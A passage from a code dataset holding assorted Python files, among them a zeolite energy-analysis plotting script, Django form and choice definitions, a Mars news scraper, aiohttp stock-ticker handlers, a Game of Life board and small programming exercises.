match_index != '':\n\t\ttry:\n\t\t\toutput = color_dict[match_index]\n\t\texcept:\n\t\t\toutput = 'b'\n\telse:\n\t\toutput = 'y'\n\n\treturn output\n\n'accumulate reference entries (templates from which calculations were created and run)'\nreferences = {} #references for data\n\nfor item in data_original:\n\t'entries in references dictionary'\n\tif data_original[item]['reference'] not in references:\n\t\treferences[data_original[item]['reference']] = []\n\nfor ref in references:\n\t'name of folders that share same reference'\n\tfor item in data_original:\n\t\tif data_original[item]['reference'] == ref:\n\t\t\tif ref != item:\n\t\t\t\treferences[ref].append(item)\n\n'accumulate traj files'\nlabel, E, Al_d, x_pos, colour, E_min, x_min, label_min = {}, [], [],[],[],[],[],[]\t #saving values for all entries\nAl_d, E_d, c_dict = {},{},{}\nfirst_item = True\n\n'add color input based on the type of MR'\ntry:\n\t\twith open(ring_data+'/CHA_ring_type.json', 'r') as read:\n\t\t\tring_data = json.load(read)\t\t#load data\n\t\tcolor = ['b','r','g','c','k']\t\t#assign color names\n\t\t#color = ['b','b','b','b','b','b']\t\t#assign color names\n\n\t\tcolor_dict = {}\t\t\t\t\n\t\tfor index, item in enumerate(ring_data):\n\t\t\tcolor_dict[item] = color[index]\t\t#assign color to each MR\nexcept:\t\n\t\tcolor_dict = {}\n\t\tprint('Missing json data file for ring data')\n\n'manual deletions of repeated refernces'\nprint('Warning! Manual deletion of some references!')\n#del references['6.traj'] \t#repeated 4 MR\n#del references['5.traj']\t#repeated as 3\n#del references['11.traj']\t#repeated as 17 (stackd 6 MR)\n#del references['8.traj']\t#repeated as 7\n#del references['9.traj']\t#repeated as 7\n#del references['10.traj']\t#repeated as 7\n#del references['23.traj']\t#repeated as 25\n#del references['26.traj']\t#repeated as 25\ndel references['2.traj']\n\nprint('references: ', references)\n\nfor ref in references:\n\t'loop over each reference'\n\n\tif os.path.isdir(results_dir+'/traj') == False:\n\t\t'create folder if it does not exist'\n\t\tos.system('mkdir '+results_dir+'/traj')\n\n\tif os.path.isdir(results_dir+'/traj-surroundings') == False:\n\t\t'create folder if it does not exist'\n\t\tos.system('mkdir '+results_dir+'/traj-surroundings')\n\n\tE_tmp, x_tmp, label_tmp = [], [], []\n\t\n\tfor item in references[ref]:\n\t\t'each item under reference'\n\n\t\tindex = item[0:-5] \t\t\t#remves .traj from the name\n\t\tdata_output_entry = calc_index(index) \t#check corresponding name in data_output\n\t\tif data_output_entry != 'none':\t\t#check calcuation dir is available\n\t\t\tif data_output[data_output_entry]['status'] == 'complete':\n\t\t\t\t'check calc is completed, then copy traj files to new folder'\n\t\t\t\tos.system('cp '+calc_dir+'/'+data_output_entry+'/qm-final.xyz '+results_dir+'/traj/'+item[0:-5]+'.traj')\n\t\t\t\tos.system('cp '+calc_dir+'/'+data_output_entry+'/surroundings-final.traj '+results_dir+'/traj-surroundings/'+item[0:-5]+'.traj')\n\n\t\t\t\t'calculate rxn energy'\n\t\t\t\tref_H = data_original[item]['reference'] #reference for 16 H calculations\n\t\t\t\tzeolite_H = min_H(ref_H)\n\t\t\t\tE_qmmm = data_output[data_output_entry]['energy']\n\t\t\t\tE_rxn = rxn_energy(E_qmmm, zeolite_H)\n\t\t\t\tprint(item, E_rxn)\n\t\t\t\tif first_item == True:\n\t\t\t\t\tE_ref = E_rxn\n\t\t\t\tE.append(E_rxn - E_ref)\n\t\t\t\tfirst_item = False\n\n\t\t\t\t'Al-Al distance'\n\t\t\t\tatoms = io.read(calc_dir+data_output_entry+'/qm-initial.traj')\n\t\t\t\tAl_distance, n_Al = Al_Al(atoms)\n\t\t\t\tdata_output[data_output_entry]['Al-Al distance'] = round(Al_distance,3)\n\t\t\t\tAl_d[index], E_d[index], label[index] = Al_distance, E[-1], index\n\t\t\t\tc_dict[index] = find_MR(ref, ring_data, color_dict,index)\n\t\t\t\t\n\t\t\t\t'Accumulate data'\n\t\t\t\tx_pos.append(int(index))\t#x-asis position\n\t\t\t\tE_tmp.append(E[-1])\n\t\t\t\tx_tmp.append(int(index))\n\t\t\t\tlabel_tmp.append(index)\n\t\t\t\tc = index\t\t\t#to avoid confusion since index is called again later\n\n\ttry:\n\t\t'finding only the minimum out of each reference'\n\t\tminimum_Energy = min(E_tmp)\n\n\t\tfor index, item in enumerate(E_tmp):\n\t\t\tif item == minimum_Energy:\n\t\t\t\tE_min.append(item)\n\t\t\t\tx_min.append(x_tmp[index])\n\t\t\t\tlabel_min.append(label_tmp[index])\n\t\t\t\tbreak\t\n\n\t\t'color code for bar plots'\n\t\ttry:\n\t\t\tcolour.append(find_MR(ref, ring_data, color_dict, c))\n\t\texcept:\n\t\t\tcolour.append('b')\t\n\n\texcept:\n\t\tprint('reference '+ref+' does not contain values')\n\nprint('Ring data :', ring_data)\nprint('Color dict:', color_dict)\n\n'''Plots'''\nif sorted_plot == True:\n\t'bar plot (sorted)'\n\tprint('WARNING: manual entry of NNN/NNNN')\n\tnew_x, new_E, x_pts, new_C = sort(x_min, E_min, colour)\n\tfor index, item in enumerate(new_E):\n\t\t#print(x_min[index], E_min[index])\n\t\tplt.bar(x_pts[index], new_E[index],color=new_C[index], align='center', alpha=1)\n\t\tif new_x[index]>45:\n\t\t\tplt.text(x_pts[index]-0.25,2.7,'NNNN', rotation = 90)\n\t\telse:\n\t\t\tplt.text(x_pts[index]-0.25,2.7,'NNN', rotation = 90)\n\tplt.xticks(x_pts, new_x, rotation = 90)\n\tplt.ylabel('Energy (eV)')\n\tplt.show()\nelse:\n\t'bar plot (not sorted)'\n\tfor index, item in enumerate(E_min):\n\t\tplt.bar(x_min[index], E_min[index], color=colour[index], align='center', alpha=1)\n\tplt.xticks(x_min, x_min, rotation=90)\n\tplt.ylabel('Energy (eV)')\n\tplt.show()\n\n'Al-Distance plot'\nfor item in new_x:\n\ttry:\n\t\tplt.plot(Al_d[str(item)], E_d[str(item)], c_dict[str(item)]+'o', markersize=6)\n\texcept:\n\t\tplt.plot(Al_d[str(item)], E_d[str(item)], 'bo', markersize=6)\n\tplt.text(Al_d[str(item)], E_d[str(item)], label[str(item)])\nplt.xlabel('Al-Al Distance (A)', fontsize = 10)\nplt.ylabel('Energy (eV)', fontsize = 10)\nplt.show()\n\n'save data with Al-Al distance'\nwith open(data_dir+\"data_output.json\", \"w\") as write_file:\n json.dump(data_output, write_file, indent=4)\n","sub_path":"results-analysis/results-Pd2.py","file_name":"results-Pd2.py","file_ext":"py","file_size_in_byte":11194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"318999144","text":"age_field = (\n ('زیر 18 سال ', 'زیر 18 سال '),\n ('18-22', \"18-22\"),\n ('22-28', \"22-28\"),\n ('28-32', \"28-32\"),\n ('32-35', \"32-35\"),\n ('35-40', \"35-40\"),\n ('بالای 40', 'بالای 40'),\n)\n\ngender_field = (\n ('مرد', \"مرد\"),\n ('زن', \"زن\"),\n\n)\ndegree_field = (\n ('زیر دیپلم ', 'زیر دیپلم '),\n ('دیپلم', \"دیپلم\"),\n ('کاردانی', \"کاردانی\"),\n ('کارشناسی', \"کارشناسی\"),\n ('کارشناسی ارشد', \"کارشناسی ارشد\"),\n ('دکترا', \"دکترا\"),\n)\n\n\nJOB_TYPES = (\n ('پاره وقت', \"پاره وقت\"),\n ('تمام وقت', \"تمام وقت\"),\n ('پروژه ای', \"پروژه ای\"),\n)\n\nsalary_field = (\n ('زیر 600 هزار تومان', 'زیر 600 هزار تومان'),\n ('بین 600 هزار تا یک میلیون تومان', \"بین 600 هزار تا یک میلیون تومان\"),\n ('یک تا یک و نیم میلیون تومان', \"یک تا یک و نیم میلیون تومان\"),\n ('حقوق اداره کار', \"حقوق اداره کار\"),\n ('یک و نیم تا دو میلیون تومان', \"یک و نیم تا دو میلیون تومان\"),\n ('دو تا سه میلیون تومان', \"دو تا سه میلیون تومان\"),\n ('بالای سه میلیون تومان', \"بالای سه میلیون تومان\"),\n)\n\ncategory_field = (\n ('آموزشی و فرهنگی و هنری ', \"آموزشی و فرهنگی و هنری \"),\n (' اداری و مالی', \" اداری و مالی\"),\n (' بهداشتی و درمانی', \" بهداشتی و درمانی\"),\n ('خدمات', \"خدمات\"),\n ('کشاورزی و محیط زیست', \"کشاورزی و محیط زیست\"),\n ('فنی و مهندسی', \"فنی و مهندسی\"),\n ('فرآوری داده ها ', \"فرآوری داده ها \"),\n)\n\n\nwork_record = (\n ('فاقد سابقه ', 'فاقد سابقه'),\n ('کمتر از یک سال', \"کمتر از یک سال\"),\n ('یک تا سه سال', \"یک تا سه سال\"),\n ('سه تا پنج سال', \"سه تا پنج سال\"),\n ('بالاتر از پنج سال', \"بالاتر از پنج سال\"),\n)\n","sub_path":"karfarma/choices.py","file_name":"choices.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"306901079","text":"from django.forms import ModelForm\nfrom .models import Event, Calendar\nfrom mezzanine.pages.admin import PageAdmin\nfrom copy import deepcopy\n\nclass EventAdminForm(ModelForm):\n def __init__(self, *args, **kwargs):\n super(EventAdminForm, self).__init__(*args, **kwargs)\n\n # Only show Calendars available to use as a 'parent' instead of all Pages\n calendar = self.fields['parent']\n calendar.queryset = Calendar.objects.all()\n\n # Select a Calendar by default, if one exists\n all_calendars = Calendar.objects.all()\n if len(all_calendars) > 0:\n calendar.initial = all_calendars[0].id\n\n # Show in the side bar, but not other places\n # The initial value is dependent on PAGE_MENU_TEMPLATES\n self.fields['in_menus'].initial = [2]\n\n fieldsets = (\n deepcopy(PageAdmin.fieldsets[0]),\n (\"Event details\",{\n 'fields': (\n 'content', 'date',\n ('start_time', 'end_time'),\n 'location', 'mappable_location',\n 'parent', 'rsvp',)\n }),\n deepcopy(PageAdmin.fieldsets[1]),\n )\n\n class Meta:\n model = Event\n exclude = ('lat','lon',)\n","sub_path":"mezzanine_events/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"97993971","text":"from django import forms\nfrom main.models import Master, Reception, UserProfile, ContactsForm, Stock,StockReserv\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django.contrib.admin import widgets\n\nclass ContactsForms(forms.ModelForm):\n message = forms.CharField(widget=forms.Textarea(attrs={'cols': 80, 'rows': 20}))\n\n class Meta:\n model = ContactsForm\n fields = ('person', 'mail', 'message')\n\nclass StockForm(forms.ModelForm):\n\n class Meta:\n model = StockReserv\n fields = '__all__'\n\n\nclass ReceptionForm(forms.ModelForm):\n class Meta:\n model = Reception\n fields = ('date','time','client_name','client_info','uslugi', 'cost', 'person_id')\n\n def __init__(self, *args, **kwargs):\n super(ReceptionForm, self).__init__(*args, **kwargs)\n self.fields['time'].widget = forms.HiddenInput()\n self.fields['client_info'].widget = forms.Textarea(attrs={'cols': 60, 'rows': 8})\n self.fields['client_info'].label = 'Ваши пожелания'\n self.fields['uslugi'].widget = forms.HiddenInput();\n self.fields['cost'].widget = forms.HiddenInput();\n # self.fields['uslugi'].label = 'Список услуг'\n self.fields['person_id'].label = ''\n\nclass UserCreateForm (UserCreationForm):\n # email = forms.EmailField(required = True)\n\n\n class Meta :\n model = User\n fields = (\"first_name\",\"last_name\",\"username\",\"email\",\"password1\",\"password2\")\n\n def save(self, commit=True):\n user = super(UserCreateForm, self).save(commit=False)\n user.email = self.cleaned_data[\"email\"]\n if commit:\n user.save()\n return user\n\n\nclass UserForm(forms.ModelForm):\n class Meta:\n model = User\n fields = ('first_name', 'last_name', 'email')\n\n\nclass ProfileForm(forms.ModelForm):\n class Meta:\n model = UserProfile\n fields = ('avatar', 'phone')","sub_path":"main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"396235860","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport sys\n\nfrom pyspark import SparkContext\n\n\"\"\"\n求和\n\"\"\"\nsc = SparkContext(\"local\", \"Sum\")\n\n\ndef basicSum(nums):\n rdd = sc.parallelize(nums)\n return rdd.fold(0, (lambda x, y: x + y))\n\n\nif __name__ == \"__main__\":\n nums = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n sum = basicSum(nums)\n print(sum)\n","sub_path":"sparkpython/pythondemo/demos/BasicSum.py","file_name":"BasicSum.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514861812","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nclass Solution:\n def nextPermutation(self, nums):\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n n = len(nums)\n left = n-2\n while left >= 0:\n if nums[left] < nums[left+1]: break\n left -= 1\n\n # already sorted reversely, the largest permutation,\n # so return the smallest perm, which is sort ascending.\n if left < 0:\n nums.sort()\n return\n\n right = left+1\n while right < n and nums[right] > nums[left]:\n right += 1\n\n # switch left and right\n nums[left], nums[right-1] = nums[right-1], nums[left]\n nums[left+1:] = nums[left+1:][::-1]\n print(nums)\n return\n\n\nm = Solution()\nnums = [1, 2, 4, 3, 1]\nm.nextPermutation(nums)\n\n\n\n","sub_path":"Sec2_Array/q0031.py","file_name":"q0031.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"498374037","text":"s = \"01000100010010111\"\n#part 1\nlength = 272\n\n#part 2\nlength = 35651584\n\ndef xor(inp):\n return \"\".join(list(map(lambda x: x[0] != '1' and '1' or '0', inp)))\n\nb = s\nwhile len(b) < length:\n a = b\n b = b[::-1]\n\n b = a + '0' + xor(b)\n print(len(b))\n\nprint(\"done\")\ns = b[:length]\n\nwhile (len(s)%2 == 0):\n newS = ''\n for pair in [s[i:i+2] for i in range(0, len(s), 2)]:\n newS += (pair[0] == pair[1] and '1' or '0')\n\n s = newS\n print(len(s))\n \n \n \n","sub_path":"Advent2016/Day/Day_16.py","file_name":"Day_16.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200670478","text":"letters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\n# Write your unique_english_letters function here:\ndef unique_english_letters(word):\n tarkastus = []\n indeks = 0\n for kirjain in word:\n if kirjain in letters and kirjain not in tarkastus:\n indeks+=1\n tarkastus.append(kirjain)\n return indeks\n\n# Uncomment these function calls to test your function:\n#print(unique_english_letters(\"mississippi\"))\n# should print 4\n#print(unique_english_letters(\"Apple\"))\n# should print 4\n#------------------------------------------------------\n\n# Write your count_char_x function here:\ndef count_char_x(word, x):\n numero = 0\n for i in word:\n if i == x:\n numero+=1\n return numero\n\n# Uncomment these function calls to test your tip function:\n#print(count_char_x(\"mississippi\", \"s\"))\n# should print 4\n#print(count_char_x(\"mississippi\", \"m\"))\n# should print 1\n#--------------------------------------------------------------\n\n# Write your count_multi_char_x function here:\ndef count_multi_char_x(word, x):\n splits = word.split(x)\n return (len(splits)-1)\n\n# Uncomment these function calls to test your function:\n#print(count_multi_char_x(\"apinapa\", \"ap\"))\n#-----------------------------------------------------\n# Write your substring_between_letters function here:\ndef substring_between_letters(word, start, end):\n sana = \"\"\n alku = word.find(start)\n loppu = word.find(end)\n if (alkualku) and (loppu=20:\n return word\n else:\n indeksi = pituus\n while len(word)<20:\n word+=\"!\"\n indeksi +=1\n return word\n\n\n# Write your add_exclamation function here:\n\n# Uncomment these function calls to test your function:\nprint(add_exclamation(\"Codecademy\"))\n# should print Codecademy!!!!!!!!!!\nprint(add_exclamation(\"Codecademy is the best place to learn\"))\n# should print Codecademy is the best place to learn\n#-------------------------------------------------------------------\n\nmedical_data = \\\n\"\"\"Marina Allison ,27 , 31.1 , \n#7010.0 ;Markus Valdez , 30, \n22.4, #4050.0 ;Connie Ballard ,43 \n, 25.3 , #12060.0 ;Darnell Weber \n, 35 , 20.6 , #7500.0;\nSylvie Charles ,22, 22.1 \n,#3022.0 ; Vinay Padilla,24, \n26.9 ,#4620.0 ;Meredith Santiago, 51 , \n29.3 ,#16330.0; Andre Mccarty, \n19,22.7 , #2900.0 ; \nLorena Hodson ,65, 33.1 , #19370.0; \nIsaac Vu ,34, 24.8, #7045.0\"\"\"\n\n# Add your code here\n\nupdated_medical_data = medical_data.replace(\"#\", \"$\")\nprint(updated_medical_data)\n\nnum_records = 0\nfor item in updated_medical_data:\n if item==\"$\":\n num_records+=1\n\nprint(\"There are \" + str(num_records) + \"medical records in the data\")","sub_path":"Challenge.py","file_name":"Challenge.py","file_ext":"py","file_size_in_byte":5618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"1072009","text":"import sys\nsys.path.append('.')\nfrom lib.lex import Lexer\n\n\ndef main():\n f = open(sys.argv[1])\n l = Lexer(stream=f)\n l.lex()\n\n tokens = list(l.lex())\n for t in tokens:\n print(t)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"compiler/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258817818","text":"import discord\nimport asyncio\nfrom app.vars.client import client\nfrom app.helpers import notify, getUser\nfrom discord.ext import commands\n\n@commands.guild_only()\n@client.command(aliases=['removeban','xunban','unbanid', 'unban_id', 'id_unban'])\nasync def unban(ctx, arg=None):\n try:\n if not arg:\n await notify.error('User ID not provided')\n return\n\n target = await getUser.byID(arg)\n if ctx.message.author.guild_permissions.ban_members:\n await asyncio.sleep(0.3)\n await ctx.guild.unban(target)\n await notify.success(ctx, f'You have successfully unbanned the user {target.display_name}!', 8)\n\n else:\n await notify.error(ctx, 'You are not allowed to unbanned here :( ', 5)\n\n except Exception as e:\n await notify.exception(ctx, e)\n\n","sub_path":"app/events/client/commands/unban.py","file_name":"unban.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446908168","text":"# Import Splinter and BeautifulSoup\nfrom splinter import Browser\nfrom bs4 import BeautifulSoup as soup\nimport pandas as pd\nimport datetime as dt\n\n# Set the executable path and initialize the chrome browser in splinter\ndef scrape_all():\n # Initiate headless driver for deployment\n browser = Browser(\"chrome\", executable_path=\"chromedriver\", headless=True)\n news_title, news_paragraph = mars_news(browser)\n\n # Run all scraping functions and store results in dictionary\n data = {\n \"news_title\": news_title,\n \"news_paragraph\": news_paragraph,\n \"featured_image\": featured_image(browser),\n \"facts\": mars_facts(),\n \"last_modified\": dt.datetime.now()\n }\n\n # Retrieve hemisphere data\n hemi_list = mars_hemispheres(browser)\n\n # Stop webdriver and return data\n browser.quit()\n \n return data, hemi_list\n\n\n# ### Featured Text\ndef mars_news(browser):\n # Visit the mars nasa news site\n url = 'https://mars.nasa.gov/news/'\n browser.visit(url)\n # Optional delay for loading the page\n browser.is_element_present_by_css(\"ul.item_list li.slide\", wait_time=1)\n # Parsing html\n html = browser.html\n news_soup = soup(html, 'html.parser')\n\n # Add try/except for error handling\n try:\n slide_elem = news_soup.select_one('ul.item_list li.slide')\n # Use the parent element to find the first `a` tag and save it as `news_title`\n news_title = slide_elem.find(\"div\", class_='content_title').get_text()\n # Use the parent element to find the paragraph text\n news_p = slide_elem.find('div', class_=\"article_teaser_body\").get_text()\n\n except AttributeError:\n return None, None\n\n return news_title, news_p\n\n\n# ### Featured Images\ndef featured_image(browser):\n # Visit URL\n url = 'https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars'\n browser.visit(url)\n # Find and click the full image button\n full_image_elem = browser.find_by_id('full_image')\n full_image_elem.click()\n # Find the more info button and click that\n browser.is_element_present_by_text('more info', wait_time=1)\n more_info_elem = browser.links.find_by_partial_text('more info')\n more_info_elem.click()\n # Parse the resulting html with soup\n html = browser.html\n img_soup = soup(html, 'html.parser')\n\n # Add try/except for error handling\n try:\n # Find the relative image url\n img_url_rel = img_soup.select_one('figure.lede a img').get(\"src\")\n \n except AttributeError:\n return None\n\n # Use the base URL to create an absolute URL\n img_url = f'https://www.jpl.nasa.gov{img_url_rel}'\n\n return img_url\n\n\n# ### Mars table of facts\ndef mars_facts():\n # Add try/except for error handling\n try:\n # Scrapping the first table\n df = pd.read_html('http://space-facts.com/mars/')[0]\n \n except BaseException:\n return None\n\n # Assign columns and set index of dataframe\n df.columns=['description', 'value']\n df.set_index('description', inplace=True)\n\n # Convert dataframe into HTML format, add bootstrap\n return df.to_html()\n\n\n# ### Mars Hemispheres\n# #### Scrappingt Hemispheres data\ndef mars_hemispheres(browser):\n # Visit URL\n url = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n browser.visit(url)\n # Parsing html\n html = browser.html\n results = soup(html, 'html.parser')\n #Finding the list of hemispheres to scrap\n hemi_to_scrap=[]\n results = results.find_all('h3')\n for hemi in results:\n hemi_to_scrap.append(hemi.text)\n # List of Mars hemispheres with scraped title and full resolution image url\n hemi_list=[]\n for hemi_name in hemi_to_scrap:\n hemi_title,hemi_img_url = rech_info_hemi(hemi_name,browser)\n # Appending hemispheres list\n hemi_dict={\"title\":hemi_title,'img_url':hemi_img_url}\n hemi_list.append(hemi_dict)\n \n return hemi_list\n\n# #### Hemisphere external function\ndef rech_info_hemi(name,browser):\n #Visit URL\n url = 'https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n browser.visit(url)\n # Finding Cerberus link and clicking on it\n browser.is_element_present_by_text(name, wait_time=1)\n hemis_info_elem = browser.links.find_by_partial_text(name)\n hemis_info_elem.click()\n # Parsing html\n html = browser.html\n hemi_soup = soup(html, 'html.parser')\n # Add try/except for error handling\n try:\n # Finding title\n hemi_content = hemi_soup.find(\"div\", class_='content')\n hemi_title = hemi_content.find(\"h2\", class_='title').get_text()\n # Finding full resolution image url - \n # .jpg selected as .tiff one cannot be displayed on Chrome\n hemi_content = hemi_soup.find(\"div\", class_='downloads')\n hemi_img_url = hemi_content.find(\"a\")['href']\n except AttributeError:\n return None\n\n return hemi_title,hemi_img_url\n\n\n# If running as script, print scraped data\nif __name__ == \"__main__\":\n print(scrape_all())\n\n","sub_path":"scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":5060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"280880235","text":"from datetime import datetime\nfrom aiohttp import web\n\nfrom db import (\n get_tickers_list,\n get_ticker_hist,\n get_ticker_insiders,\n get_insider_info,\n get_analytics,\n get_delta,\n)\nfrom utils import remove_intersection\n\n\nasync def handle_tickers_list(request):\n tickers_list = get_tickers_list(request.app['db_conn'])\n template = request.app['jinja_env'].get_template('ticker_list.jinja2')\n\n return web.Response(\n text=template.render(tickers_list=tickers_list),\n headers={'Content-Type': 'text/html'}\n )\n\n\nasync def handle_ticker_history(request):\n ticker = request.match_info.get('ticker')\n # Обычно nginx такое не пускает до бекенда)\n if ticker == 'favicon.ico':\n return web.Response(text=\"\")\n\n tickers_hist = get_ticker_hist(request.app['db_conn'], ticker.lower())\n template = request.app['jinja_env'].get_template('ticker_hist.jinja2')\n\n return web.Response(\n text=template.render(tickers_hist=tickers_hist, ticker=ticker),\n headers={'Content-Type': 'text/html'}\n )\n\n\nasync def handle_ticker_insiders(request):\n ticker = request.match_info.get('ticker')\n\n ticker_insiders = get_ticker_insiders(request.app['db_conn'], ticker.lower())\n template = request.app['jinja_env'].get_template('ticker_insiders.jinja2')\n\n return web.Response(\n text=template.render(ticker_insiders=ticker_insiders, ticker=ticker),\n headers={'Content-Type': 'text/html'}\n )\n\n\nasync def handle_insider_info(request):\n ticker = request.match_info.get('ticker')\n name = request.match_info.get('name')\n\n insider_info = get_insider_info(request.app['db_conn'], ticker.lower(), name)\n template = request.app['jinja_env'].get_template('insider_info.jinja2')\n\n return web.Response(\n text=template.render(insider_info=insider_info, ticker=ticker, name=name),\n headers={'Content-Type': 'text/html'}\n )\n\n\nasync def handle_analytics(request):\n \"\"\"\n Возможно в этом задании имелось ввиду вычесть цены date_to из date_from,\n но сделаю просто список изменений цен относительно предыдущего дня.\n По хорошему в продакшне надо было бы уточнить\n \"\"\"\n ticker = request.match_info.get('ticker')\n\n # при конвертации в datetime сразу произойдет и валидация введенных данных\n date_from = request.rel_url.query['date_from']\n date_to = request.rel_url.query['date_to']\n\n analytics = get_analytics(\n request.app['db_conn'], ticker.lower(),\n datetime.strptime(date_from, \"%Y-%m-%d\").date(),\n datetime.strptime(date_to, \"%Y-%m-%d\").date(),\n )\n template = request.app['jinja_env'].get_template('analytics.jinja2')\n\n return web.Response(\n text=template.render(analytics=analytics, ticker=ticker),\n headers={'Content-Type': 'text/html'}\n )\n\n\nasync def handle_delta(request):\n ticker = request.match_info.get('ticker')\n\n value = request.rel_url.query['value']\n price_type = request.rel_url.query['type']\n\n value = int(value)\n if price_type not in ['open', 'high', 'low', 'close']:\n raise ValueError('Incorrect arguments')\n\n delta_list = get_delta(\n request.app['db_conn'], ticker.lower(),\n value,\n price_type,\n )\n\n # Избавляемся от пересечений интервалов дат\n data = remove_intersection(delta_list)\n\n template = request.app['jinja_env'].get_template('delta.jinja2')\n\n return web.Response(\n text=template.render(data=data, ticker=ticker, interval=value),\n headers={'Content-Type': 'text/html'}\n )\n","sub_path":"handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"234210620","text":"from enum import Enum\nfrom NeighborsMap import NeighborsMap\nimport time\n\nclass State(Enum):\n Living = 1\n Dead = 2\n\nclass GameOfLifeBoard:\n\n def __init__(self, filepath):\n with open(filepath, 'r') as f:\n lines = f.readlines()\n self._rows, self._columns = len(lines), len(lines[0]) - 1\n board = []\n char_to_state = {'#':State.Living, '-':State.Dead}\n for line in lines:\n board.append([char_to_state[ch] for ch in list(line.strip())])\n self._generation = board\n \n self._neighbors_map = NeighborsMap(self._rows, self._columns)\n\n def get_generation(self):\n return self._generation\n\n def get_dimensions(self):\n return (self._rows, self._columns)\n\n def compute_next_generation(self):\n next_generation = [[State.Dead for _ in range(self._columns)] for _ in range(self._rows)]\n for r in range(self._rows):\n for c in range(self._columns):\n living_neighbors = sum([1 for (r,c) in self._neighbors_map.get_neighbors(r,c) if self._generation[r][c] == State.Living])\n if self._generation[r][c] == State.Living:\n if 2 <= living_neighbors <= 3:\n next_generation[r][c] = State.Living\n else:\n if living_neighbors == 3:\n next_generation[r][c] = State.Living\n self._generation = next_generation\n\n def __repr__(self):\n output = ''\n for r in range(self._rows):\n for c in range(self._columns):\n if self._generation[r][c] == State.Living:\n output += '#'\n else:\n output += ' '\n output += '\\n'\n return output\n\ndef main():\n gameoflife = GameOfLifeBoard('grid.txt')\n while True:\n print(gameoflife.__repr__())\n gameoflife.compute_next_generation()\n time.sleep(0.2)\n\nif __name__ == '__main__':\n main()","sub_path":"GameOfLifeBoard.py","file_name":"GameOfLifeBoard.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"294400266","text":"\n# coding: utf-8\n\n# In[19]:\n\n\nimport re\n\n\n# In[23]:\n\n\nlines=[]\nflag=False\nfor line in open(\"./questions-words.txt\",\"r\",encoding=\"utf-8\"):\n if line.startswith(\": family\"):\n flag=True\n elif line.startswith(\": \"):\n flag=False\n \n if flag:\n lines.append(line)\n\n\n# In[25]:\n\n\nwith open(\"family.txt\",\"w\",encoding=\"utf-8\") as f:\n f.writelines(lines)\n\n","sub_path":"vincentzlt/chapter10/knock91.py","file_name":"knock91.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"230741682","text":"import json\n\nimport re\n\nimport sys\n\n\ndef get_json(fname):\n with open(fname) as json_data:\n d = json.load(json_data)\n return d\n\n\ndef get_list_questions(json_raw):\n answer_json_list = []\n\n for data in json_raw['data']:\n for paras in data['paragraphs']:\n for question in paras['qas']:\n answer_json_list.append(question)\n return answer_json_list\n\n\ndef search(terms, questions):\n res_list = []\n # assume that the key words are separated by the comma,\n # convert from ' barca andrews iniesta' to [barca, andrews, iniesta]\n term_set = set(terms.lower().strip().split())\n\n for question in questions:\n cur_q = re.sub('[^0-9a-zA-Z ]+', ' ', question['question']).strip() # clean all non-alphanumeric strings\n cur_q_set = set(cur_q.lower().split(' ')) # set of lowercase words in question\n\n # if question have all keywords in another list\n if term_set.issubset(cur_q_set):\n temp_dict = question\n temp_dict['answer'] = temp_dict['answers'][0]['text']\n # remove the answers entry from dict\n del temp_dict['answers']\n\n res_list.append(temp_dict)\n\n with open('1b.json', 'w') as f:\n r = json.dumps(res_list)\n f.write(r)\n\n\nif sys.argv[1:]:\n fname = sys.argv[1:][0]\n key_words = sys.argv[1:][1]\n # fname = 'qa.json'\n raw_json = get_json(fname)\n q_json = get_list_questions(raw_json)\n search(key_words, q_json)\nelse:\n raise Exception('no proper input file name or search term')\n","sub_path":"hw2/ji_zhang_search.py","file_name":"ji_zhang_search.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"316541391","text":"from itertools import product\nfrom enum import Enum\nfrom typing import Tuple, Optional, Set, FrozenSet\n\n\nclass Piece(Enum):\n KING = 'K'\n QUEEN = 'Q'\n 